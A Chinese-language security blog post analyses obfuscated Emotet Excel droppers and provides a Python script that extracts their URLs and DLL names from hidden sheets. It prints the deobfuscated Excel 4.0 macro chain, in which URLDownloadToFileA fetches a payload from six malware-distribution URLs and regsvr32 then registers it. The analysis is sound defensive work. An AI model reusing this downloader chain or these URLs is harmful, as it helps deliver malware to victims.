位置:首页 > 安全分类 > WEB安全

杰哥教你用Python对Emotet投递的恶意Excel表格提取IoCs

2022-04-07 21:13:59 来源:
简介背景介绍工作遇到多个经过同样方式混淆并隐藏的宏代码文档,利用Excel表格特性,将数据分离在不同的单元格中,再使用Office自带的函数对单元格的数值进行提取后组合成代码字符串

背景介绍

工作遇到多个经过同样方式混淆并隐藏的宏代码文档,利用Excel表格特性,将数据分离在不同的单元格中,再使用Office自带的函数对单元格的数值进行提取后组合成代码字符串运行。运行的代码完成下载恶意文件到本地并注册为服务的恶意行为。

致谢

感谢杰哥对我这头菜猪的帮助,经常半夜问他还会理我 (〒▽〒)
让我终于能自己写出Python完成想要的功能,减少了很多不必要的时间花费(^Ꙫ^)

文档分析

显示

除了宏代码启用提示外,可以发现Sheet名并非默认的“Sheet1”+“Sheet2”+“Sheet3”,而是唯一一个“Sheet”:
image
自己新建的Excel文件可以看到默认的Sheet名是“Sheet1”+“Sheet2”+“Sheet3”:
image

取消隐藏的Sheet

image

一个个(没有一次全部)取消隐藏(U)后显示如下:
image

隐藏的内容

第1个隐藏的Sheet:字符表

第1个Sheet用于保存单个字符。
竟然很集中的出现在常见的可见范围内,应该是开发者为了自己开发方便。如果是我,写完会挪到ZZZZZ+(实际上不行,见下文“Excel附加知识”)外:
image
单元格的字符来源为数据计算。“=CHAR(加减法计算)”的字母/符号(如:“=CHAR(133+3)”),或“=_xlfn.ARABIC(罗马数字字符串)”(如:“=_xlfn.ARABIC("CI")”),以及个别直接赋值的符号,如“!”、“-”、“/”等:
image.png

Excel附加知识

  • Excel 2003版:列数最大256(IV,2的8次方)列,行数最大65536(2的16次方)行;

  • Excel 2007版:列数最大16384(XFD,2的14次方),行数最大1048576(2的20次方);

  • Excel 2013版:列数最大16384(XFD,2的14次方),行数最大1048576(2的20次方);

Excel行和列的表示方法:例如2003版行用数字1-65536表示;列用英文字母A-Z,AA-AZ,BA-BZ,...,IA-IV表示,共256列。

第2个隐藏的Sheet:URL和部分代码字符串

字符串:

  • 基于第1个隐藏的Sheet字符单元格使用T函数拼接出的字符串,均为下载命令代码的部分:

DownloadToFil
","JJCCBB"
("url
,0,
mon","URL
"777","
  • 还有加了“"0, ..\adw.dll -s ..\adw.dll ",0,0)

    其余的字符串直接以字符串保存:

    \Windows\
    SysWow64\
    RETURN
    regsvr[屏蔽词]32.exe
    

    第4个隐藏的Sheet:执行下载代码

    由白底白字保存着“FORMULA”公式函数代码:
    image.png
    image.png

    原始FORMULA公式代码

    =FORMULA(С1!C15,С2!F3)=FORMULA(Rvfs1!P22Q36t单元格字符串B5..\adw.dll(第1个字符为空格)C7("urlD11mon","URLD3\Windows\E16",0,0)E3DownloadToFilF11regsvr[屏蔽词]32.exeG5","JJCCBB"I9,0,J6SysWow64\N14..\adw.dllN40,P8-sR6RETURN单元格C2字符串F19"http://church.ktc-center.net/PbSkdCOW/","H19"https://christianchapman.com/cgi-bin/gADHL9UXSFUTN/","J19"http://clanfog.co.uk/_vti_bin/aObJD8vpKaJRLKgoX6i/","L19"777","G21"https://chobemaster.com/components/gus/","I21"http://chmiola.net/audio/6OuzyjPS/","K21"https://cipes.gob.mx/css/A046XJg/","

    输出FORMULA结果

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://church.ktc-center.net/PbSkdCOW/","..\adw.dll",0,0)
    
    =IF(0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://chobemaster.com/components/gus/","..\adw.dll",0,0))
    
    =IF(0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://christianchapman.com/cgi-bin/gADHL9UXSFUTN/","..\adw.dll",0,0))
    
    =IF(0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://chmiola.net/audio/6OuzyjPS/","..\adw.dll",0,0))
    
    =IF(0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://clanfog.co.uk/_vti_bin/aObJD8vpKaJRLKgoX6i/","..\adw.dll",0,0))
    
    =IF(0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cipes.gob.mx/css/A046XJg/","..\adw.dll",0,0))
    
    =IF(0,CLOSE(0),)
    
    =EXEC("C:\Windows\SysWow64\regsvr[屏蔽词]32.exe -s ..\adw.dll")
    
    =RETURN()
    
    1. 通过Office的宏代码功能,调用“urlmon”模块的“URLDownloadToFileA”函数访问指定的URL(5个样本均有6个URL)下载文件到指定路径下(如详细分析的样本为“adw.dll”)。

    2. “UDYQ[1-6]”为宏代码函数名,其中“UDYQ[1-5]”的结果会被加上“IF”判断则为检测上一个“URLDownloadToFileA”的返回值(成功为“S_OK(0x00000000)”),如果小于0则从备用的URL继续下载。

    3. 从1到6,如果“UDYQ[6]”也为小于0的话,也就是全部URL都失败,则“CLOSE(0)”结束。

    4. 如果6个URL有成功下载文件,则调用“EXEC”函数执行命令“"C:\Windows\SysWow64\regsvr[屏蔽词]32.exe -s ..\adw.dll"”,将下载的恶意载荷文件注册为服务

    两种URL保存形式

    URL除了以“"&"”进行拼接外:
    image.png
    还有一类是直接保存完整的URL,以及拼接命令用的引号和逗号“","”:
    image.png

    提取

    仅以此版本Emotet下载器代码来说,对我个人比较有效有意义的数据为:

    1. 下载的URL

    2. 保存下载的文件名

    下载的URL

    1. 在单元格中以“"&"”拼接的字符串
      可以使用Python提取单元格内容,正则提取有多个“"&"”子字符串的字符串,提取后再用replace删除“"&"”子字符串。

    2. 另一类变种直接保存的URL
      那么特征是存在“://”字符串(并且可能以“","”结尾)

    下载的文件名

    均以T函数进行拼接,特征是以“ ..\”开头,或者以“.dll”结尾。
    如果使用的是同一套的单个字符映射的Sheet表格,那么“ ..[Dll名].dll”对应的命令为“=T([字符表Sheet]!P19&[字符表Sheet]!P5&[字符表Sheet]!P5&[字符表Sheet]!P3((&[字符表Sheet]!字符单元格){3,4})&[字符表Sheet]!P5&[字符表Sheet]!F15&[字符表Sheet]!C9&[字符表Sheet]!C9)”:
    image.png

    文件名结构/解构

    “ ..[a-z]{1,}.dll”
    前为结构“ ..\”:1个空格“ ”+2个“.”+“\”;
    中间为需要提取的内容,即Dll的文件名,目前分析的均为小写字母组合的3-4位字符串;
    后为结构“.dll”:“.”+“d”+2个“l”。
    特征结构比较固定,尤其是出现2个(断句)2个双写(“..”和“ll”)的情况,即使字母映射不同,也可以根据此规律进行提示。(当以目前发现的字母映射表进行提取无结果时,提醒有可能映射表被更换)
    ——但我使用Python从Excel读取数据时却发现,Python直接把数据计算出来了,和我想象中的以宏代码形式保存并不同:
    image.png

    Python

    1. 提取还原URL

      1. 判断是不是6个(针对目前的发现规律,仅做提示,不影响提取功能)

    2. 提取Dll名

    Python-字符串 - 还原混淆的宏代码

    import os
    import re
    
    import pandas as pd
    
    strNewLine = "\r\n"
    # 从单元格中提取非nan的内容
    def GetValue2List( df ):
    	nRow = df.shape[0]
    	nColumn = df.shape[1]
    	listValue = []
    	for iRow in range( nRow ):
    		for iColumn in range( nColumn ):
    			value = str( df.iloc[iRow , iColumn] )
    			if (value != 'nan'):
    				listValue.append( value )
    
    	# print(listValue)
    	return listValue
    
    
    def RevivifyURL( listSheetURL ):
    	# print(listSheetURL)
    
    	reURL1 = re.compile( r'[/"](.*?)[/\",\"]"' )
    	reURL2 = re.compile( r'://(.*?)\",\"' , re.I )
    
    	listURL = []
    
    	for i in listSheetURL:
    		strURL = ''
    		# 保存方式1:以“"&"”拼接
    		if '"&"' in i:
    			# print( i )
    			strCode = i.replace( '"&"' , '' )
    			strURL = reURL1.findall( strCode )[0]
    		# 保存方式2:直接保存
    		elif '://' in i:
    			# print(i)
    			strURL = reURL2.findall( i )[0]
    
    		if(strURL != '') and (strURL not in listURL):
    			print( strURL )
    			listURL.append( strURL )
    
    	if (len( listURL ) == 6):
    		# print( listURL )
    		pass
    	else:
    		print( "请人工分析:URL是否非6个" )
    
    
    def RevivifyDll( listSheetDll ):
    	# print(listSheetDll)
    
    	# 匹配1:\\(.*?)\.dll,“\\”开头,“.dll”结尾
    	# 匹配2:\\(.*?)\.,“\\”开头,“.”结尾
    	reDll1 = re.compile( r'\\(.*?)\.dll' , re.I )
    	reDll2 = re.compile( r'|\\(.*?)\.' , re.I )
    	listDll = []
    	listRe = []
    
    	for i in listSheetDll:
    		if ('..\\' in i) or ('.dll' in i):
    			# print( i )
    			listRe1 = reDll1.findall( i )
    			# print( listRe1 )
    			listRe.extend( listRe1 )
    			if (len( listRe1 ) == 0):
    				listRe2 = reDll2.findall( i )
    				# print( listRe2 )
    				listRe.extend( listRe2 )
    				if (len( listRe2 ) == 0):
    					print( "请人工分析:2个正则都没有匹配出Dll" )
    
    			if (len( listRe ) != 0):
    				for iRe in listRe:
    					if (iRe != '') and (iRe not in listDll):
    						listDll.append( iRe )
    	# print(listDll)
    
    	if (len( listDll ) == 1):
    		strDllName = listDll[0]
    		print( "Dll名:" , strDllName ,strNewLine)
    	else:
    		print( "请人工分析:Dll名格式是否能通过正则匹配" )
    
    
    def ExtractEmotetIoCs( pathExcel ):
    	dfExcel = pd.read_excel( pathExcel , sheet_name = None )
    	listKeys = list( dfExcel.keys() )
    
    	# URL在第2个隐藏Sheet
    	dfURL = dfExcel[listKeys[2]]
    	listSheetURL = GetValue2List( dfURL )
    	RevivifyURL( listSheetURL )
    
    	# Dll在第3个隐藏Sheet
    	dfDll = dfExcel[listKeys[3]]
    	listSheetDll = GetValue2List( dfDll )
    	RevivifyDll( listSheetDll )
    
    
    # 遍历目录获取“.md”文件路径
    def EnumDirGetExcelFilePath( pathDir ):
    	print( "遍历的路径:" , pathDir )
    
    	listPathExcel = []
    	for root , dirs , files in os.walk( pathDir ):
    		for file in files:
    			print( file )
    			pathFile = os.path.join( root , file )
    			# print( pathFile )
    			ExtractEmotetIoCs( pathFile )
    
    
    pathFileExcel = "6EE99C20494D3876BEF6F882CA25DEE2.Emotet"
    pathDir = r"C:\Users\Administrator\Desktop\Emotet文档"
    if __name__ == '__main__':
    	# 单个提取
    	# ExtractEmotetIoCs( pathFileExcel )
    	# 遍历文件夹提取
    	EnumDirGetExcelFilePath( pathDir )
    	print( "~~~顺利结束~~~" )
    

    运行结果

    1648874142_6247d29e71afc1d543229.png?1648874142568

    行为分析

    上文已经分析出了下载代码,逻辑为:

    1. 通过Office的宏代码功能,调用“urlmon”模块的“URLDownloadToFileA”函数访问指定的URL(5个样本均有6个URL)下载文件到指定路径下(如详细分析的样本为“adw.dll”)。

    2. “UDYQ[1-6]”为宏代码函数名,其中“UDYQ[1-5]”的结果会被加上“IF”判断则为检测上一个函数中“URLDownloadToFileA”的返回值(成功为“S_OK(0x00000000)”)

      1. 如果下载失败,即结果小于0,则从备用的URL继续下载;

      2. 从1到6依次运行,如果均下载失败,则“CLOSE(0)”结束。

    3. 如果6个URL有任一成功下载文件,则调用“EXEC”函数执行命令“"C:\Windows\SysWow64\regsvr[屏蔽词]32.exe -s ..\adw.dll"”,将下载的恶意载荷文件注册为服务

    不成功的原因

    Office版本不同

    宏代码采用了“FORMULA”公式对数据进行拼接和赋值,在比较早的Office版本中并不兼容此函数,也会造成无法执行代码的后果。
    同样不兼容可能还有罗马数字转A拉伯数字的函数“_xlfn.ARABIC”。

    不同位数系统的系统程序路径不同

    即使命令能顺利的拼接完成,由于最后命令行“EXEC("C:\Windows\SysWow64\regsvr[屏蔽词]32.exe -s ..\adw.dll")”写死了“regsvr[屏蔽词]32.exe”的路径为“C:\Windows\SysWow64\regsvr[屏蔽词]32.exe”,实际上该路径为64位Windows系统中“regsvr[屏蔽词]32.exe”的路径,在32位的系统上并没有目录“C:\Windows\SysWow64”。32位系统由于路径不兼容情况,会导致命令执行失败,故32位系统对此变种存在一定的免疫性。

    URL失效

    由于时效性问题,在受害者点击垃圾邮件时,可能对应的资源链接已失效。为应对失效情况,往往攻击者会在投递时准备备用URL,故本次分析的5个文档,均有6个URL以供下载。
    实际分析时应当以流量中是否正确解析并返回URL资源数据;受害主机是否有对应文件名落盘为准。

    沙箱的不可依赖性

    在“不成功原因”里写到,Office版本不同可能会造成代码拼接函数无法执行的问题,在加上大部分沙箱默认的是32位,有比较大概率无法成功调用到“C:\Windows\SysWow64”下的“regsvr[屏蔽词]32.exe”将Dll注册为服务。
    最后还需要考虑到执行逻辑,如果第一个URL执行成功,就不访问后续的URL,沙箱报告中只能提取出一个URL,但是实际受害者可能用了备选的URL。
    综上所述,此类样本更适合使用静态的方式提取IoCs。每个产品都有自己的优势和弊端,根据不同情况应该灵活使用不同的方式进行检测和防御。
    切记不要过于依赖一种产品,设置非已知提醒(如上文中对URL数量为6的提醒),能检测到变化,并在发现变化后及时分析变化的部分,推测变化的原因。